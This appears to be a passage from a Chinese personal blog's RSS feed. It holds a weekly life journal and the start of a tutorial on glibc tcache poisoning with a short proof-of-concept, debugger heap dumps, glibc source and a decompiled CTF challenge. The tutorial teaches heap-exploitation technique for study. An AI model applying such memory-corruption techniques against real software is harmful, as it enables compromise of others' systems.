&lt;li&gt;&lt;a href=&quot;https://www.jianshu.com/p/5685b4a1b77e&quot;&gt;https://www.jianshu.com/p/5685b4a1b77e&lt;/a&gt; 安卓网页打开app，本质还是拉起activity&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报7 我们都需要快照</title><link>https://rayepeng.net/posts/weekpost7/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost7/</guid><pubDate>Sun, 16 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;周报#7 我们都需要快照&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeia2birr7o6qjhvrjduuk5xhwy7rehjoesvyacgbo7u6l5dqvbudya.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里记录的是raye在2023年，6.16~7.16日这段时间的记录、思考、故事&lt;/p&gt;
&lt;p&gt;最近回忆自己的周报，发现很多文字、很多想法、随着时间的积累逐渐发生了变化&lt;/p&gt;
&lt;p&gt;就像网页需要快照一样，我一直很喜欢快照这个词，在我第一次接触到这个略带生涩的术语时，我还未能参透其中的内涵&lt;/p&gt;
&lt;p&gt;但我们真的很需要快照，需要在生活这根数轴上，录制下我们的一个个快照。照片或许是最好的一种方式，但它太具象，缺少可以把玩、品味、参悟的空间。文字，无疑是快照记录与呈现的最好方式。它足够清晰又带一点朦胧，它充满情绪却又无足轻重，它虽单一，却千变万化。以文会友，不如说是以快照会友。&lt;/p&gt;
&lt;p&gt;写到这里，突然心中有一点触动，泪水就想夺眶而出了。我在言语上不是一个善于表达感情的人，但文字中蕴含的希冀、念想、情感，总给我一种无穷的力量，驱使着我，不断向前。&lt;/p&gt;
&lt;p&gt;知音少，弦断有谁听&lt;/p&gt;
&lt;h2&gt;反思&lt;/h2&gt;
&lt;p&gt;现在是7月15日的晚上10点半，在我回顾完历史发表在xlog上的周报后，我终于开始提笔写6月下旬到7月上旬这段时间的周报了&lt;/p&gt;
&lt;p&gt;期间真的经历了很多，我有点感觉是我工作两年多来，遇到的最艰难的一次&lt;/p&gt;
&lt;p&gt;具体详情不便透露，但让我深刻体会到了几个关键字：pua、甩锅、信息差、老板&lt;/p&gt;
&lt;p&gt;但凡遇到问题，部门之间一定是互相甩锅的。但重点这次不是实际的bug，而是涉及到老板、流程规范的一些问题。&lt;/p&gt;
&lt;p&gt;但我觉得最气愤的就是，上级不去直接怼回去，反倒是利用信息差，pua底层员工（pua我都能接受了，但是你好歹怼回去啊）&lt;/p&gt;
&lt;p&gt;而且，最让我感到痛苦的是，明明数据就那么多，我想破了脑袋，也觉得找不到更多的问题。&lt;/p&gt;
&lt;p&gt;却偏偏要用一些pua的话术，诸如，“啊，我记得不是这样的啦”， “怎么可能数据就这么点，XXX数据不是有好几百条吗”（实际自己也不知道）&lt;/p&gt;
&lt;p&gt;若是初入社会的我，或许还会觉得，是我思考的不到位，但是我真的很想反抗，我不想把一个很简单的事情，翻来覆去论证好几遍&lt;/p&gt;
&lt;p&gt;而且pua的话术永远是万能的:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeia7yyrv5m2jvf33px5g2dhrcuk3cpk3owa3bkedn52exc4o7ifni4.tiff&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然，我承认，安全的工作永远是最难做的，尤其是在大公司。安全往往是最容易背锅的，这段时间我也见识到了业务的各种骚操作，我以前觉得自己写逻辑实现的很不优雅，结果，干了好多年的老员工，设计思路也不见得好到哪里去。&lt;/p&gt;
&lt;p&gt;同事给了我一个词：草台班子&lt;/p&gt;
&lt;h2&gt;关于我&lt;/h2&gt;
&lt;p&gt;好在还有xlog这样一个博客，可以让我持续不断地去发现新东西，认识新的朋友。&lt;/p&gt;
&lt;p&gt;其实我并不是一个很挑的人，我工作的内驱力，来源永远是自身的好奇心。而且我的好奇心是不会区分对待的，只要是我没有理解的事物，我一定是有好奇心，并且抱着莫大的热忱去做的。&lt;/p&gt;
&lt;p&gt;但是呢，首先承认我有时候会存在眼高手低的情况，觉得自己懂得很快就没有沉入下去，这是我这段时间反思的一个结果。&lt;/p&gt;
&lt;p&gt;铺的太广，导致自己无法聚焦。看的太泛，导致自己无法深入。想得太多，导致自己无法行动。&lt;/p&gt;
&lt;p&gt;但是，最近的工作让我无语。我不喜欢在给老板的汇报上去扣各种字眼。用我1~2周的时间，来不断浓缩出一份不到5分钟的ppt展示页。&lt;/p&gt;
&lt;p&gt;但这就是社会食物链，营养的转换效率就是这么低&lt;/p&gt;
&lt;p&gt;另外还有一个问题，我觉得存在很大的惯性，无法及时从一个事情中抽身，或者说当我工作了很久之后，不愿意去转换一下思路。&lt;/p&gt;
&lt;p&gt;其实我觉得这是一个很有必要练习的事情，不是说长时间的专注不行，而是说，人是需要依靠一些身体上的运动，来刺激因为专注而疲惫的大脑。&lt;/p&gt;
&lt;p&gt;因为我毕竟不是天才人物，我无法在长时间的专注中，一直保持有新的想法。&lt;/p&gt;
&lt;p&gt;也许，就是当众人都开始疯狂地寻找富豪遗失的手表时，往往是最后静下心来，无意中发现的那个小孩，只是因为听到了手表的指针滴答声&lt;/p&gt;
&lt;h2&gt;xbox&amp;amp;surge&lt;/h2&gt;
&lt;p&gt;Surge的授权我很早就买了，但是很长一段时间，我都将其闲置在一旁，并没有深入去研究，只是当一个抓包工具而已（几百元买一个抓包工具我还真富）&lt;/p&gt;
&lt;p&gt;最近重新开始研究surge，不管是iPhone还是Mac，都已经总结了一些surge的用法，这块预计会出一篇文章综合介绍一下。&lt;/p&gt;
&lt;p&gt;搬家之后，渐渐稳定了下来，于是开始思考手头的设备怎么利用起来，虽然最近xbox的游戏打的少了，但是xbox这最强机顶盒的名头不是虚的。
(xbox支持Netflix、hbo、Apple tv、hulu的4k输出，基本覆盖了我常用的流媒体）&lt;/p&gt;
&lt;p&gt;最开始想用surge的远程代理，让xbox代理就好了。但是微软不知道怎么想的，居然没有代理这个功能。于是开始研究下还有无其他方案。&lt;/p&gt;
&lt;p&gt;其实也有两种，不得不感慨surge真的功能太丰富了。其一是接替路由器，作为软路由，这个被否决了，因为wifi是和室友公用的。其二是通过增强模式，新增一块虚拟网卡，充当网关。&lt;/p&gt;
&lt;p&gt;我选择了第二种方式，同时在配置的时候发现了一个坑：surge的官方文档给的DNS配置是错误的，&lt;a href=&quot;https://surge.mitsea.com/others/gateway-mode&quot;&gt;https://surge.mitsea.com/others/gateway-mode&lt;/a&gt; ，实际DNS配置应该是这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihgwn5iz5odfm7ddpwcd432omgsxu6nodwmeith7j5nihdqvostfu.tiff&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样我的xbox就可以借由mac的分流规则来实现科学上网了：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeifhfciv46mj4pel72ixvlypsqme3ahhud22nyug4zz7kq6tok3fdy.tiff&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;数字日记&lt;/h2&gt;
&lt;p&gt;Reorx 在这篇博客中提到 &lt;a href=&quot;https://reorx.com/blog/sharing-my-footprints-automation&quot;&gt;https://reorx.com/blog/sharing-my-footprints-automation&lt;/a&gt; ，他就像是一个生活在赛博空间的机器，执行者信息收集和过滤的工作。因此他想将过滤后的信息都统一起来，于是打造了一套n8n的自动化工作流，聚合信息输入和输出&lt;/p&gt;
&lt;p&gt;虽然，但我更愿意称之为这是我的数字日记，这就是我在赛博空间的生活沉淀&lt;/p&gt;
&lt;p&gt;目前在大佬博客的帮助下，已经完成了。频道地址：&lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;，Raye’s Journey ，意为Raye的赛博空间的行程记录。&lt;/p&gt;
&lt;p&gt;考虑到这方面的文章还挺少的，于是自己也打算写一篇来帮助大家完成搭建。&lt;/p&gt;
&lt;p&gt;愿我们都有自己的数字日记。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &amp;lt;p align=&quot;center&quot;&amp;gt;
&amp;lt;img width=&quot;300&quot; height=&quot;300&quot; src=&quot;./attachments/bafybeiadxzhrhdgzswg5rzue3cmwx6dk4e7a763gg7hph4l3dn7sdg643e.tiff&quot;&amp;gt;
&amp;lt;/p&amp;gt; --&amp;gt;&lt;/p&gt;
&lt;h2&gt;蓝信封&lt;/h2&gt;
&lt;p&gt;7月，已经是和小孩子的第5封信啦！继续坚持下去&lt;/p&gt;
&lt;h2&gt;微信读书&amp;amp;阅读&lt;/h2&gt;
&lt;p&gt;4月23日那段时间参加了世界读书日的活动，终于在7月收到了微信读书的世界读书日勋章，虽然我觉得不是很好看哈哈哈哈，但是沉甸甸的分量确实很喜欢！🥰&lt;/p&gt;
&lt;p&gt;（但是拍的照片太丑啦！🤣&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/bafybeicjvww3sn5jk5lghsyulnozql7zi5us62u5u3u35vycjtabsqoc3i.jpeg&quot; alt=&quot;IMG_4783&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeie2al5eaxyje2bzbjgpfbanwqksdcqfbhvneoyo2mo53wrcyi2pn4.jpeg&quot; alt=&quot;IMG_4784&quot; /&gt;
--&amp;gt;&lt;/p&gt;
&lt;h2&gt;羽毛球&lt;/h2&gt;
&lt;p&gt;羽毛球也找了教练，目前大班也上了9节了，一对一也上了3节。&lt;/p&gt;
&lt;p&gt;改正了一些，主要是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;步法，前场开始用垫步，并且也不会再盲目后退被抓吊网前了&lt;/li&gt;
&lt;li&gt;反手，虽然并不稳定，但是偶尔能打出高质量斜线&lt;/li&gt;
&lt;li&gt;接杀，正手接杀还需要练习下&lt;/li&gt;
&lt;li&gt;发球，努力练了一箱球，终于学会在双打的时候反手发球了&lt;/li&gt;
&lt;li&gt;吊球，训练的时候打的还好，但是实战就有点拉胯&lt;/li&gt;
&lt;li&gt;搓球，终于学会了网前搓球，这几天和球友的实战中也打出了好几个高质量的搓球（果然是得网前者得天下）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;讨厌的人&lt;/h2&gt;
&lt;p&gt;纯发牢骚，诸君随意看看：&lt;/p&gt;
&lt;p&gt;有时候真的很讨厌那些喜欢一上来就给别人扣帽子的人&lt;/p&gt;
&lt;p&gt;我喜欢交朋友，并且欣赏别人的优点&lt;/p&gt;
&lt;p&gt;但是我很难忍受一种人，我觉得可能是基因的天性，最喜欢对别人指指点点，凡事都以自己的是非为是非&lt;/p&gt;
&lt;p&gt;因此，我很多时候都不会有深交的朋友，因为价值观不对，而且我不喜欢小圈子，人会被圈子所束缚&lt;/p&gt;
&lt;p&gt;所以我经常是从一个圈子，跳到另一个圈子&lt;/p&gt;
&lt;p&gt;毕竟朋友难得，但是相同兴趣的搭子还是容易找&lt;/p&gt;
&lt;h2&gt;追剧&lt;/h2&gt;
&lt;p&gt;Platonic 完结了，这部剧我真的好喜欢，其中埋的几个伏笔，最后结尾也都映照了&lt;/p&gt;
&lt;p&gt;最后一集Sylvia和Will还是得分开了，面对着Will在路边买来的送给她的塑料花，Sylvia说道：“这花很假，很塑料。但这意味着它永远不会凋谢。”。类目了😭&lt;/p&gt;
&lt;p&gt;由于Apple tv我不知道怎么截图，豆瓣上有一些好玩的图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihot55vxsdxh34ihxiutsssvnqffunc7op22yhqonx22yyisosyjy.tiff&quot; alt=&quot;DraggedImage-4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其实挚友之间，也是一种柏拉图的关系呢！&lt;/p&gt;
&lt;p&gt;The Crown和Card of House 也还在追，慢慢看吧，都是很经典的了。其中既有伊丽莎白女王的苦楚，也有弗兰德为打击政治对手无所不用其极的手段。&lt;/p&gt;
&lt;p&gt;The last of us 虽然上映很久了，但是最近才开始慢慢看。男主有够帅+魅力，随行的小女主真的很可爱，真的很爱这部剧&lt;/p&gt;
&lt;h2&gt;Newsletter&lt;/h2&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦，&lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://cali.so/blog/guide-for-cloning-my-site&quot;&gt;https://cali.so/blog/guide-for-cloning-my-site&lt;/a&gt; 介绍了快速搭建博客，不过我觉得xlog已经很值得了，重点还是持续不断地内容输出&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/iK_JkVRrh5vIRBjnQbDOyw&quot;&gt;https://mp.weixin.qq.com/s/iK_JkVRrh5vIRBjnQbDOyw&lt;/a&gt; 讲述如何破解滑动验证码&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/629476969&quot;&gt;https://zhuanlan.zhihu.com/p/629476969&lt;/a&gt; 金山文档都支持云函数部署了，涨姿势&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.jianshu.com/p/5685b4a1b77e&quot;&gt;https://www.jianshu.com/p/5685b4a1b77e&lt;/a&gt; 安卓网页打开app，本质还是拉起activity&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>一文带你理解tcache缓存投毒</title><link>https://rayepeng.net/posts/tcache-cache-poisoning/</link><guid isPermaLink="true">https://rayepeng.net/posts/tcache-cache-poisoning/</guid><pubDate>Tue, 27 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;一文带你理解tcache缓存投毒&lt;/p&gt;
&lt;p&gt;文章首发于 &lt;a href=&quot;https://xz.aliyun.com/t/12600&quot;&gt;https://xz.aliyun.com/t/12600&lt;/a&gt;
tcache 结构分析&lt;/p&gt;
&lt;p&gt;Tcache（Thread Cache）是 glibc（GNU C Library）从 2.26 版本开始引入的一个特性，旨在提升内存分配性能。在 tcache 中，每个线程都有自己的缓存，可以减少线程间的互斥和锁的竞争。&lt;/p&gt;
&lt;p&gt;默认情况下，大小小于等于 1032（0x408）字节的 chunk 会被放入 tcache 中。&lt;/p&gt;
&lt;p&gt;分配释放：当程序进行 malloc 操作时，会优先检查 tcache 是否有可用的 chunk，如果有，就直接返回。同样，当进行 free 操作时，如果 chunk 的大小符合要求，并且对应的 tcache bin 还未满（默认每个 bin 可以存放 7 个 chunk），就会把 chunk 放入 tcache。否则，会按照原来的流程，放入 unsorted bin 或者其他的 bin 中。&lt;/p&gt;
&lt;p&gt;数据结构：Tcache 的数据结构主要是一个数组，每个元素都是一个单向链表的头节点。数组的下标对应了 chunk 的大小，即第 i 个元素对应了大小为 &lt;code&gt;(i+1)*16&lt;/code&gt; 的 chunk 的链表。链表中的每个节点都是一个空闲的 chunk，节点的第一个字段存放了指向下一个节点的指针。&lt;/p&gt;
&lt;p&gt;tcache在内存中的数据结构示意图如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+----+    +------+     +------+
| 0  | -&amp;gt; | chunk| --&amp;gt; | chunk| --&amp;gt; NULL
+----+    +------+     +------+
| 1  | -&amp;gt; NULL
+----+ 
| 2  | -&amp;gt; | chunk| --&amp;gt; NULL
+----+    +------+
| .. | 
+----+
| n  | -&amp;gt; | chunk| --&amp;gt; | chunk| --&amp;gt; | chunk| --&amp;gt; NULL
+----+    +------+     +------+     +------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;了解 tcache poisoning&lt;/p&gt;
&lt;p&gt;我们先来看看缓存投毒的基本攻击思路，核心代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;size_t stack_var; // 目标投毒的地址

intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330

free(a);
free(b);

b[0] = (intptr_t)&amp;amp;stack_var;  // tcache poisoning ！

intptr_t *c = malloc(128);

assert((long)&amp;amp;stack_var == (long)c); // 此时我们已经获得了针对栈地址 &amp;amp;stack_var 读写控制权
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们来分过程看每一个环节的堆内存布局变化&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;连续申请两个 chunk，再释放，此时释放的chunk进入到tcache管理起来&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330

free(a);
free(b);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;查看此时的堆内存布局&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;tcache链表有点像一个栈，遵循LIFO的原则&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](2): 0x555555559330 --&amp;gt; 0x5555555592a0 // 后面解释tcache_entry结构体
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;根据上文提到的内存布局，相同大小的&lt;code&gt;tcache&lt;/code&gt; 通过链表维护起来。修改指针指向（后面会分析），使得tcache链表的指针指向栈上的地址&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;size_t stack_var; // addr: 0x7fffffffe508
b[0] = (intptr_t)&amp;amp;stack_var; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时我们观察到 &lt;code&gt;tcache_entry[7]&lt;/code&gt; 的指向&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](2): 0x555555559330 --&amp;gt; 0x7fffffffe508 --&amp;gt; 0x555555555410 (overlap chunk with 0x555555559320(freed) )
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;申请一次tcache分配，此时获得是之前释放的b chunk&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;此时的tcache已经被&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](1): 0x7fffffffe508 --&amp;gt; 0x555555555410 (overlap chunk with 0x7fffffffe4f8(freed) )
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;第二次申请tcache 分配，本来这里是获得之前的a chunk的，但是由于 &lt;code&gt;tcache&lt;/code&gt; 的指向已经发生了变化，导致我们可以获得一次针对栈上的地址进行读写的机会&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreickxjvgbnku26gsl24hecdapvavbumvqmq2uj3kqwb6x7aemvtrdu.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;若要细究其原理，得从glibc中对应的源码入手：&lt;/p&gt;
&lt;p&gt;从源码层面分析 tcache&lt;/p&gt;
&lt;p&gt;tache的数据结构如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence &quot;tcache_perthread_struct&quot;).  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;tcache_entry&lt;/code&gt; 结构体本质上是一个单链表指针，&lt;code&gt;tcache_perthread_struct&lt;/code&gt; 存储了所有的 &lt;code&gt;tcache&lt;/code&gt; 入口，通过 &lt;code&gt;counts&lt;/code&gt; 记录每个 &lt;code&gt;tcache&lt;/code&gt; 链的个数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tcache poisoning&lt;/code&gt; 漏洞涉及到两个函数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;分配函数 &lt;code&gt;tcache_get&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;找到对应的 &lt;code&gt;tcache_entry&lt;/code&gt; 表项&lt;/li&gt;
&lt;li&gt;取出链表的头节点返回&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;回收函数 &lt;code&gt;tcache_put&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;将chunk强制转为 &lt;code&gt;tcache_entry&lt;/code&gt;结构&lt;/li&gt;
&lt;li&gt;头插法将其插入到对应的 &lt;code&gt;tcache_entry&lt;/code&gt; 表项中
本质上是用链表实现了一个栈结构，FIFO&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache-&amp;gt;entries[tc_idx];
  assert (tc_idx &amp;lt; TCACHE_MAX_BINS);
  assert (tcache-&amp;gt;entries[tc_idx] &amp;gt; 0);
  tcache-&amp;gt;entries[tc_idx] = e-&amp;gt;next;
  --(tcache-&amp;gt;counts[tc_idx]); // 对应的tcache数量减少1
  return (void *) e;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx &amp;lt; TCACHE_MAX_BINS);
  e-&amp;gt;next = tcache-&amp;gt;entries[tc_idx]; // 通过头插法插入新的chunk
  tcache-&amp;gt;entries[tc_idx] = e;
  ++(tcache-&amp;gt;counts[tc_idx]);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重点是这行代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;chunk2mem&lt;/code&gt; 的宏是这样的，即将chunk指针往后移动指向用户数据区域&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Convert a chunk address to a user mem pointer without correcting
   the tag.  */
define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而关键在于， 代码中直接强制转化，将其转为 &lt;code&gt;tcache_entry &lt;/code&gt; 结构，这代表着，用户数据的前8个字节（64位）存储了 &lt;code&gt;tcache&lt;/code&gt; 的 next 指针&lt;/p&gt;
&lt;p&gt;这就意味着我们可以直接修改 next 指针，从而获得任意地址写的机会，因此 &lt;code&gt;tcache&lt;/code&gt; 的利用相比 &lt;code&gt;fastbin&lt;/code&gt; 事实上更加简单了&lt;/p&gt;
&lt;p&gt;例题分析&lt;/p&gt;
&lt;p&gt;题目源码和 exp 可以在这里找到 &lt;a href=&quot;https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook&quot;&gt;https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook&lt;/a&gt;
main函数&lt;/p&gt;
&lt;p&gt;main函数主要功能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;输入作者签名&lt;/li&gt;
&lt;li&gt;调用&lt;code&gt;secure_library&lt;/code&gt; 设置 &lt;code&gt;seccomp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;write_book&lt;/code&gt;程序主要功能&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  puts(&quot;Welcome to the library of hopes and dreams!&quot;);
  puts(&quot;\nWe heard about your journey...&quot;);
  puts(&quot;and we want you to share about your experiences!&quot;);
  puts(&quot;\nWhat would you like your author signature to be?&quot;);
  printf(&quot;&amp;gt; &quot;);
  LODWORD(author_signature) = &apos; yb&apos;;
  __isoc99_scanf(&quot;%12s&quot;, (char *)&amp;amp;author_signature + 3);
  puts(&quot;\nGreat! We would like you to write no more than 10 books :)&quot;);
  puts(&quot;Please feel at home.&quot;);
  secure_library();
  write_books();
  return puts(&quot;Goodbye!&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;write_books&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;write_books&lt;/code&gt; 函数，功能总结为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1337 能泄露出一次给定分配块的地址&lt;/li&gt;
&lt;li&gt;1 新增一本书&lt;/li&gt;
&lt;li&gt;2 编辑一本书&lt;/li&gt;
&lt;li&gt;3 删除一本书&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 write_books()
{
  int choice; // [rsp+0h] [rbp-10h] BYREF
  int fav_num; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      __isoc99_scanf(&quot;%d&quot;, &amp;amp;choice);
      getchar();
      if ( choice != 1337 )
        break;
      if ( !secret_msg )
      {
        printf(&quot;What is your favourite number? &quot;);
        __isoc99_scanf(&quot;%d&quot;, &amp;amp;fav_num);
        if ( fav_num &amp;gt; 0 &amp;amp;&amp;amp; fav_num &amp;lt;= 10 &amp;amp;&amp;amp; slot[2 * fav_num - 2] )
          printf(&quot;You found a secret message: %p\n&quot;, slot[2 * fav_num - 2]);
        secret_msg = 1;
      }
LABEL_19:
      puts(&quot;Invalid choice.&quot;);
    }
    if ( choice &amp;gt; 1337 )
      goto LABEL_19;
    if ( choice == 4 )
      return v3 - __readfsqword(0x28u);
    if ( choice &amp;gt; 4 )
      goto LABEL_19;
    switch ( choice )
    {
      case 3:
        throw_book();
        break;
      case 1:
        write_book();
        break;
      case 2:
        rewrite_book();
        break;
      default:
        goto LABEL_19;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;write_book&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;向书架中插入一本书，并且在书的尾部，写上作者签名和一个 &lt;code&gt;magic number&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;可以看到一个书chunk的大小为输入的内容 + 0x10，并且会存储在 book 结构体中的size字段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 write_book()
{
  int idx2; // ebx
  _QWORD *v1; // rcx
  __int64 v2; // rdx
  int idx; // [rsp+4h] [rbp-4Ch] BYREF
  size_t size; // [rsp+8h] [rbp-48h]
  char buf[32]; // [rsp+10h] [rbp-40h] BYREF
  char v7; // [rsp+30h] [rbp-20h]
  unsigned __int64 v8; // [rsp+38h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  puts(&quot;\nAt which index of the shelf would you like to insert your book?&quot;);
  printf(&quot;Index: &quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;idx);
  getchar();
  if ( idx &amp;lt;= 0 || idx &amp;gt; 10 || slot[2 * idx - 2] )
  {
    puts(&quot;Invaid slot!&quot;);
  }
  else
  {
    --idx; // 书架的编号
    memset(buf, 0, sizeof(buf));
    v7 = 0;
    puts(&quot;Write me a book no more than 32 characters long!&quot;);
    size = read(0, buf, 0x20uLL) + 0x10; // 读入0x20个字节的内容,还要加上尾部填充的0x10字节
    idx2 = idx;
    slot[2 * idx2] = malloc(size);
    memcpy(slot[2 * idx], buf, size - 0x10);
    v1 = (char *)slot[2 * idx] + size - 0x10; // 指向用户数据的尾部
    v2 = qword_4040D8;
    *v1 = *(_QWORD *)author_signature; // 写入作者签名和一个magic number
    v1[1] = v2;
    books[idx].size = size; // 这里存在问题，后续通过 books[idx].size 获取大小的时候要减掉0x10
    puts(&quot;Your book has been published!\n&quot;);
  }
  return v8 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
